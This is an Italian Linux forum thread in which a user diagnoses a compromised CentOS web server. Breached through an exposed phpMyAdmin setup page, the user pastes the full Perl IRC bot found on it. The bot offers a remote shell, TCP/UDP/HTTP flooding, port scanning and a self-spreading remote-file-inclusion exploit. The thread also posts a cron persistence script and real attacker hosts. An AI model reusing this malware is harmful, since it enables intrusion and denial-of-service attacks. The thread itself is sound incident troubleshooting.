* * *
Benvenuto! Effettua l'accesso oppure registrati.
14 Aprile 2021, 13:33:17

Inserisci il nome utente, la password e la durata della sessione.

Links

ads

Benvenuto


Benvenuto su la Community CentOS-Italia.Org

La Community Italiana di Linux CentOS e' lieta di averti tra noi , CentOS-Italia.Org e' un risorsa di guide e forum dal principiante al sistemista senior.
Clicca qua per registrati ora

La registrazione e' gratuita e ti consente di avere pieno accesso alle risorse di CentOS-Italia.org , come uso della ricerca avanzata , le funzioni interattive del portale e visualizzare i links nei post.
Gli utenti registrati non visualizzano gli ads, quindi registrati subito se non l'hai gia fatto.

Lo staff di CentOS-Italia.Org cerca di rendere la community un posto piacevole e il piu' produttivo possibile, invitiamo quindi i nuovi utenti a leggere le regole base.
Per info o problemi di registrazione scrivere a centos (at) centos-italia.org .

Autore Topic: Problemi server web  (Letto 5782 volte)

Offline tinx

  • Newbie
  • *
  • Post: 22
    • Mostra profilo
    • E-mail
Problemi server web
« il: 29 Aprile 2011, 16:06:42 »
Salve ragazzi ho una macchina virtualizzata basata su centos 5 32 bit che da qualche giorno mi impalla la rete.
Quando succede la ram rimane su consumi giusti mentre l'utilizzo cpu schizza al 100% fisso, la macchina diventa quasi inutilizzabile cosi come il router a cui collegato, bloccando tutta la rete.
Non c' accesso dall'esterno quindi non si tratta di attacco, quando si verifica vedo solo un grande scambio di dati tra il router e il server

se faccio pstree vedo i processi con questi strani segni:
Codice: [Seleziona]
initbrcm_iscsiuio2*[{brcm_iscsiuio}]
crond
crontabs
httpd12*[httpd]
init-logger
mysqld_safemysqld9*[{mysqld}]
proftpd
2*[sendmail]
sshdsshdbashpstree
syslogd
udevd
xinetd

altro non sono risucito a fare perch si impalla tutto...
se riavvio la cosa torna alla normalit per ore... e dopo si riverifica.


Offline smeserver

  • Hero Member
  • *****
  • Post: 1313
    • Mostra profilo
Re: Problemi server web
« Risposta #1 il: 29 Aprile 2011, 23:09:23 »
hai provato a dare un'occhiata in /var/log/messages? e nei log di apache?

Offline dankan77

  • Moderator
  • Hero Member
  • *****
  • Post: 1365
    • Mostra profilo
    • E-mail
Re: Problemi server web
« Risposta #2 il: 30 Aprile 2011, 13:32:17 »
Con il comando top sarebbe utile capire cosa f schizzare al 100% l'utilizzo della CPU.
Assicurati inoltre di aver installato il pacchetto sysstat in modo da raccogliere in automatico le statistiche di utilizzo di I/O Cpu e memoria.
Non hai specificato che tipo di virtualizzazione usi, la topologia di rete ed eventualmente che tipo di traffico(con tcpdump o wireshark) noti fra router e vm.
Restiamo in attesa di tuoi aggiornamenti.

Ciao

Offline tinx

  • Newbie
  • *
  • Post: 22
    • Mostra profilo
    • E-mail
Re: Problemi server web
« Risposta #3 il: 02 Maggio 2011, 16:07:30 »
Con il comando top sarebbe utile capire cosa f schizzare al 100% l'utilizzo della CPU.
Assicurati inoltre di aver installato il pacchetto sysstat in modo da raccogliere in automatico le statistiche di utilizzo di I/O Cpu e memoria.
Non hai specificato che tipo di virtualizzazione usi, la topologia di rete ed eventualmente che tipo di traffico(con tcpdump o wireshark) noti fra router e vm.
Restiamo in attesa di tuoi aggiornamenti.

Ciao

Ciao Dankan, scusa per il ritardo ma in questi giorni sono molti impegnato in altri ambiti.
In effetti sono stato poco chiaro, allora, la macchina Centos 32 bit guest in oggetto virtualizzata con OpenVZ.
La rete una semplice rete da casa, unica subnet (255.255.255.0), router/gateway (drytek vigor) con nat verso 1 ip fisso esterno a cui sono collegate varie macchine.
Il firewall invece attivo su ogni singola macchina mediante iptables che blocca in entrata  tutte le porte non utilizzate.

Presto sniffo il traffico per capirci meglio.
Il processo che utilizza al 100% la cpu ( 0,1 % mem) "httpd" dall'utente "apache"
« Ultima modifica: 02 Maggio 2011, 16:13:13 di tinx »

Offline dankan77

  • Moderator
  • Hero Member
  • *****
  • Post: 1365
    • Mostra profilo
    • E-mail
Re: Problemi server web
« Risposta #4 il: 02 Maggio 2011, 16:25:56 »
Openvz di fatto non usa virtualizzazione in senso stretto ma semplicemente una configurazione di root/shell jail.
A questo punto potrebbe essere importante vedere quale componente di apache cos utilizzato a livello applicativo. Potrebbe essere un baco di apache piuttosto che di openvz ma presumo che sia pi un problema del software deployato su apache. Purtroppo questo tipo di analisi richiedono tempo e conoscenza dello strumento.
Buona analisi...


Ciao

Offline tinx

  • Newbie
  • *
  • Post: 22
    • Mostra profilo
    • E-mail
Re: Problemi server web
« Risposta #5 il: 02 Maggio 2011, 17:40:11 »
hai provato a dare un'occhiata in /var/log/messages? e nei log di apache?

analizzando bene i log di http nel log_error c' questa cosa che ricorre diverse volte

--2011-05-01 18:29:08--  http://redd3vil.at.ua/red.jpg
Resolving redd3vil.at.ua... 89.188.98.69
Connecting to redd3vil.at.ua|89.188.98.69|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 24056 (23K) [image/jpeg]
Saving to: `red.jpg'

     0K .......... .......... ...                             100%  146K=0.2s

2011-05-01 18:29:09 (146 KB/s) - `red.jpg' saved [24056/24056]

sh: fetch: command not found
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
^M  0 24056    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0^M100 24056  100 24056    0     0  59124      0 --:--:-- --:--:-- --:--:--  157k
sh: lwp-download: command not found


ovviamente incuriosito ho scaricato il file manualmente e aprendolo con vim vedo che non un file jpg ma un file di programmazione
ecco l'inizio

Codice: [Seleziona]
#!/usr/bin/perl
# suck us

my @nickname = ("fattys","eliter", - vari vari nomi utente tagliati per motivi di lunghezza "byn","ju");

my $nick = $nickname[rand scalar @nickname];

my $ircname = $nickname[rand scalar @nickname];


#system("kill -9 `ps ax |grep httpdse |grep -v grep|awk '{print $1;}'`");
my $processo = '/usr/bin/httpd';


# funny world...

my $linas_max='4';
my $sleep='5';
my @adms=("Verifed");
my @hostauth=("Verifed");
my @canais=("#teste");
chop (my $realname = 'try to stole me ? ... is more easy to suck us !');
$servidor='pma.irc.su' unless $servidor;
my $porta='1990';
my $VERSAO = 'BUCEFALO';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("/tmp");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();

$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}

sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];

   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
     sleep 1;
   }
}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   my @ready = $sel_cliente->can_read(0);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);

     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}
 
sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION just a little perl bot by #Credit @ UnderNet\001");
       }
       if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
       if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
         }
         if ($args =~ /^(\Q$meunick\E|\.exec)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
         }
       }
}
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4;
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       nick("$meunick|".int rand(999999));
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $canal ddosit");
       }
   }
}


sub bfunc {
  my $printl = $_[0];
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if ($funcarg =~ /^portscan (.*)/) {
             my $hostip="$1";
             my
@portas=("21","22","23","25","80","113","135","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
             my (@aberta, %porta_banner);
    sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Scanning ".$1." for open ports.");    
             foreach my $porta (@portas)  {
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout
=> 4);
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
                }
             }

             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[SCAN]\002 Open port(s): @aberta");
             } else {
               sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[SCAN]\002 No open ports found");
             }
           }
           if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
    sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attacking ".$1.":".$2." for ".$3." seconds.");
    my $itime = time;
    my ($cur_time);
             $cur_time = time - $itime;
    while ($3>$cur_time){
             $cur_time = time - $itime;
    &tcpflooder("$1","$2","$3");
             }
    sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[TCP]\002 Attack done ".$1.":".$2.".");
           }
  if ($funcarg =~ /^version/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[VERSION]\002 perlb0t ver ".$VERSAO);  
}
           if ($funcarg =~ /^google\s+(\d+)\s+(.*)/) {
    sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Scanning for unpatched INDEXU for ".$1."
seconds.");
    srand;
    my $itime = time;
    my ($cur_time);
    my ($exploited);
    $boturl=$2;
             $cur_time = time - $itime;$exploited = 0;
while($1>$cur_time){
   $cur_time = time - $itime;
   @urls=fetch();
foreach $url (@urls) {
$cur_time = time - $itime;
my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/;
$url =$path."/SQuery/lib/gore.php?libpath=$boturl?";
$page = http_query($url);
$exploited = $exploited + 1;
   }
}
    sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[GOOGLE]\002 Exploited ".$exploited." boxes in ".$1."
seconds.");
           }
           if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
    sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking ".$1.":80 for ".$2." seconds.");
    my $itime = time;
    my ($cur_time);
             $cur_time = time - $itime;
    while ($2>$cur_time){
             $cur_time = time - $itime;
    my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
             print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
    close($socket);
             }
    sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP]\002 Attacking done ".$1.".");
           }
           if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Attacking ".$1." with ".$2." Kb packets for
".$3." seconds.");
             my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
             $dtime = 1 if $dtime == 0;
             my %bytes;
             $bytes{igmp} = $2 * $pacotes{igmp};
             $bytes{icmp} = $2 * $pacotes{icmp};
             $bytes{o} = $2 * $pacotes{o};
             $bytes{udp} = $2 * $pacotes{udp};
             $bytes{tcp} = $2 * $pacotes{tcp};
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[UDP]\002 Sent
".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in ".$dtime." seconds to ".$1.".");
           }
           exit;
       }
  }
}
 
sub ircase {
  my ($kem, $printl, $case) = @_;

  if ($case =~ /^join (.*)/) {
     j("$1");
   }
   if ($case =~ /^part (.*)/) {
      p("$1");
   }
   if ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   if ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   if ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   if ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   if ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   if ($case =~ /^eval (.*)/) {
     eval "$1";
   }
}

sub shell {
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "No such file or directory");
    return;
  }
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c == "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}

sub tcpflooder {
 my $itime = time;
 my ($cur_time);
 my ($ia,$pa,$proto,$j,$l,$t);
 $ia=inet_aton($_[0]);
 $pa=sockaddr_in($_[1],$ia);
 $ftime=$_[2];
 $proto=getprotobyname('tcp');
 $j=0;$l=0;
 $cur_time = time - $itime;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  socket($t,PF_INET,SOCK_STREAM,$proto);
  connect($t,$pa)||$j--;
  $j++;$l++;
 }
 $l=0;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  shutdown($t,2);
  $l++;
 }
}

sub udpflooder {
  my $iaddr = inet_aton($_[0]);
  my $msg = 'A' x $_[1];
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  
  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp == 4;
  my $itime = time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta = 1; $porta <= 65000; $porta++) {
       $cur_time = time - $itime;
       last if $cur_time >= $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;

       for (my $pc = 3; $pc <= 255;$pc++) {
         next if $pc == 6;
         $cur_time = time - $itime;
         last if $cur_time >= $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
       }
     }
     last if $cur_time >= $ftime;
  }
  return($cur_time, %pacotes);
}

sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}  
sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
  sendraw("PART $_[0]");
}
sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}
sub quit {
  sendraw("QUIT :$_[0]");
}

# Spreader
# this 'spreader' code isnot mine, i dont know who coded it.
# update: well, i just fix0red this shit a bit.
#

sub fetch(){
    my $rnd=(int(rand(9999)));
    my $n= 80;
    if ($rnd<5000) { $n<<=1;}
    my $s= (int(rand(10)) * $n);

my @dominios = ("com","net","org","info","gov", "gob","gub","xxx",
"eu","mil","edu","aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec",

"py","cl","uy","ar","br","bo","au","nz","cz","kr","jp","th","tw","ph","cn","fi","de","es","pt","ch","se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop",

"af","ad","ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi",
"vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk",

"ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir",

"iq","ie","is","ac","bv","cx","im","nf","ky","cc","ck","fo","hm","fk","mp","mh","pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke",

"ki","kg","kw","lv","ls","lb","ly","lr","li","lt","lu","mo","mk","mg","my","mw","mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm",

"na","nr","np","ni","ne","ng","nu","no","nc","om","pk","ps","pg","pn","pf","qa","sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc",

"sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","sz","rj","tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz",
"vu","vn","ye","yu","cd","zm","zw","");
my @str;

foreach $dom  (@dominios)
{
push (@str,"%22inurl%3Amodules.php%3Fname%3DSQuery%22+site%3A".$dom."%20");
}

    my $query="www.google.com/search?q=";
    $query.=$str[(rand(scalar(@str)))];
    $query.="&num=$n&start=$s";
    my @lst=();
    my $page = http_query($query);
    while ($page =~  m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
if ($1 !~ m/google|cache|translate/){
   push (@lst,$1);
}
    }
    return (@lst);
}

sub http_query($){
    my ($url) = @_;
    my $host=$url;
    my $query=$url;
    my $page="";
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~s/$host//;
    if ($query eq "") {$query="/";};
    eval {
local $SIG{ALRM} = sub { die "1";};
alarm 10;
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
alarm 0;
close($sock);
    };    
    return $page;

}
« Ultima modifica: 02 Maggio 2011, 17:49:26 di tinx »

Offline smeserver

  • Hero Member
  • *****
  • Post: 1313
    • Mostra profilo
Re: Problemi server web
« Risposta #6 il: 02 Maggio 2011, 19:59:56 »


analizzando bene i log di http nel log_error c' questa cosa che ricorre diverse volte
ovviamente incuriosito ho scaricato il file manualmente e aprendolo con vim vedo che non un file jpg ma un file di programmazione
ecco l'inizio


ho il vago sospetto che ti abbiano forato la macchina... o che ci stiano provando pesantemente..

come mai la TUA macchina scarica quel file?

ferma il servizio httpd e fai le opportune verifiche, anche se in questo caso, gente ben pi esperta di me direbbe "backup della roba sana, piallaggio, reinstall e restore"

verifica inoltre che l'applicazione web esposta (la TUA applicazione) non abbia bug..

Offline LonelyWolf

  • Moderator
  • Hero Member
  • *****
  • Post: 1392
    • Mostra profilo
    • Traversate dei laghi
Re: Problemi server web
« Risposta #7 il: 02 Maggio 2011, 21:27:52 »
potresti trovare lo script che lancia quel download, spesso queste cose vengono messe in crontab, e vedere con quale utenza ti hanno bucato cos da sistemarla.

Purtroppo capit anche a me una cosa simile, per mia colpa che non ho chiuso una utenza dopo aver fatto l'intervento; trovai l'utenza responsabile (e sistemato l'accesso), l'IP da cui si era connesso (e segnalato, anche se nei paesi dell'est.....)

Offline tinx

  • Newbie
  • *
  • Post: 22
    • Mostra profilo
    • E-mail
Re: Problemi server web
« Risposta #8 il: 03 Maggio 2011, 09:22:04 »
mi saltato all'occhio guardando i log del crontab questa ricorrenza che cade ogni  minuto:


May  1 16:51:01 web crond[2321]: (apache) CMD (/tmp/.b/update >/dev/null 2>&1)


aprendo il file /tmp/.b/update appare questo script all'interno:


#!/bin/sh
if test -r /tmp/.b/mech.pid; then
pid=$(cat /tmp/.b/mech.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd /tmp/.b
./run &>/dev/null


e nella cartella /tmp/.b/ appare questi strani file:
-rwxr-xr-x 1 apache apache    357 May  3 09:00 1
-rwxr-xr-x 1 apache apache    323 Feb 23 17:48 autorun
-rwxr-xr-x 1 apache apache   8922 Jan 24  2006 b
-rwxr-xr-x 1 apache apache  19557 May 10  2005 b2
-rwxr-xr-x 1 apache apache 266463 May 10  2005 bang.txt
-rw-r--r-- 1 apache apache     41 Apr 22 02:53 cron.d
-rwxr-xr-x 1 apache apache 152108 Jun  1  2001 crontab
-rwxr-xr-x 1 apache apache   8687 Jan 24  2006 f
-rwxr-xr-x 1 apache apache  14679 Nov  3  2005 f4
drwxr-xr-x 3 apache apache   4096 Apr 22 03:00 flood
-rw-r--r-- 1 apache apache 222043 Mar 22 12:15 flood.tar
-rw-r--r-- 1 apache apache 255887 May  3 09:10 fotobot.seen
-rwxr-xr-x 1 apache apache    219 Mar 21  2010 fwd
-rwxr-xr-x 1 apache apache     67 Jun 24  2010 go
-rwxr-xr-x 1 apache apache  10848 May 29  2005 j
-rwxr-xr-x 1 apache apache  13850 May 29  2005 j2
-rw-r--r-- 1 apache apache      8 Apr 22 02:53 mech.dir
-rwxr-xr-x 1 apache apache  22983 Jul 30  2004 mech.help
-rw-r--r-- 1 apache apache   1064 May  3 09:00 mech.levels
-rw------- 1 apache apache      4 May  3 03:34 mech.pid
-rw-r--r-- 1 apache apache    419 May  3 09:00 mech.session
-rwxr-xr-x 1 apache apache    643 Mar 21  2010 mech.set
-rwxr-xr-x 1 apache apache     32 Feb 23 17:35 run
-rwxr-xr-x 1 apache apache  15078 Feb 20  2005 s
-rwxr-xr-x 1 apache apache  16776 Sep 19  2002 sl
-rwxr-xr-x 1 apache apache  15195 Sep  2  2004 std
-rwxr-xr-x 1 apache apache   8790 Jan 24  2006 stream
-rwxr-xr-x 1 apache apache   7091 Jan 24  2006 tty
-rwxr--r-- 1 apache apache    157 Apr 22 02:53 update
-rwxr-xr-x 1 apache apache  13687 Nov 20  2002 v
-rwxr-xr-x 1 apache apache  14841 Jul 22  2005 v2
-rwxr-xr-x 1 apache apache    915 Mar  2  2005 x


Offline tinx

  • Newbie
  • *
  • Post: 22
    • Mostra profilo
    • E-mail
Re: Problemi server web
« Risposta #9 il: 03 Maggio 2011, 10:30:32 »
Ecco gli ip dei colpevoli:
61.47.35.40
113.57.252.72


mi hanno bucato tramite phpmyadmin usando la pagina /phpmyadmin/scripts/setup.php che ho incautamente lasciato pubblica

successivamente hanno fatto scaricare dalla mia macchina i seguenti file con gli exploit

http://redd3vil.at.ua/red.jpg
e
http://www.fotomodelu.podserver.info/m


...e il patatrack stato fatto


Offline smeserver

  • Hero Member
  • *****
  • Post: 1313
    • Mostra profilo
Re: Problemi server web
« Risposta #10 il: 03 Maggio 2011, 23:41:31 »
Ecco gli ip dei colpevoli:
61.47.35.40
113.57.252.72


mi hanno bucato tramite phpmyadmin usando la pagina /phpmyadmin/scripts/setup.php che ho incautamente lasciato pubblica

successivamente hanno fatto scaricare dalla mia macchina i seguenti file con gli exploit

http://redd3vil.at.ua/red.jpg
e
http://www.fotomodelu.podserver.info/m


...e il patatrack stato fatto



non hai gli strumenti di compilazione a bordo vero?

perch se fosse di quella macchina salvi solo il ferro..

e comunque io piallerei, a prescindere..

Offline LonelyWolf

  • Moderator
  • Hero Member
  • *****
  • Post: 1392
    • Mostra profilo
    • Traversate dei laghi
Re: Problemi server web
« Risposta #11 il: 04 Maggio 2011, 00:27:15 »
Ora hai un paio di opzioni:
"piallare" la macchina o fare pulizia.

La seconda forse un po' pi lunga, ma considerando che l'utenza di apache non pu andare ovunque i danni sono limitati.

Offline tinx

  • Newbie
  • *
  • Post: 22
    • Mostra profilo
    • E-mail
Re: Problemi server web
« Risposta #12 il: 04 Maggio 2011, 08:59:14 »
Al momento ho pulito in modo veloce la macchina e da ieri non ha pi avuto i problemi di full load cpu, quindi problema apparentemente risolto.

Ho fatto questo solo per curiosit di capire quale fosse stato la causa e di come si comporta adesso tale macchina ripulita, successivamente faccio il restore della stessa ripartendo da un backup privo di attacchi  ;) quindi in 50 secondi faccio tutto

Offline dankan77

  • Moderator
  • Hero Member
  • *****
  • Post: 1365
    • Mostra profilo
    • E-mail
Re: Problemi server web
« Risposta #13 il: 04 Maggio 2011, 09:58:34 »
Alla fine non ti hanno bucato ma aperto la porta con le chiavi di casa lasciate sulla toppa:

mi hanno bucato tramite phpmyadmin usando la pagina /phpmyadmin/scripts/setup.php che ho incautamente lasciato pubblica

Ti consiglio comunque di installare rkhunter e chkrootkit almeno per fare un minimo di controllo e verificare che a parte quello che hai pulito non ci sia altro.

Ciao

Offline tinx

  • Newbie
  • *
  • Post: 22
    • Mostra profilo
    • E-mail
Re: Problemi server web
« Risposta #14 il: 04 Maggio 2011, 11:39:27 »
Alla fine non ti hanno bucato ma aperto la porta con le chiavi di casa lasciate sulla toppa:

mi hanno bucato tramite phpmyadmin usando la pagina /phpmyadmin/scripts/setup.php che ho incautamente lasciato pubblica

Ti consiglio comunque di installare rkhunter e chkrootkit almeno per fare un minimo di controllo e verificare che a parte quello che hai pulito non ci sia altro.

Ciao

si si  ;D non si tratta di furto con scasso.....
adesso ho tolto la chiave dalla toppa e ripulito, comunque un controllo con i 2 tool e sulla lista di cose da fare sulla macchina

grazie mille

 

Notizie

NON REGISTRATEVI CON EMAIL HOTMAIL/LIVE/OUTLOOK SPESSO NON ARRIVANO LE MAIL

Collegamenti

Posts Recenti

Utenti
  • Utenti in totale: 5959
  • Ultimo: Sina
Statistiche
  • Post in totale: 13156
  • Topic in totale: 2961
  • Online Oggi: 169
  • Massimi online: 9639
  • (14 Gennaio 2020, 10:20:21)
Utenti Online
Utenti: 0
Visitatori: 138
Totale: 138

Permessi
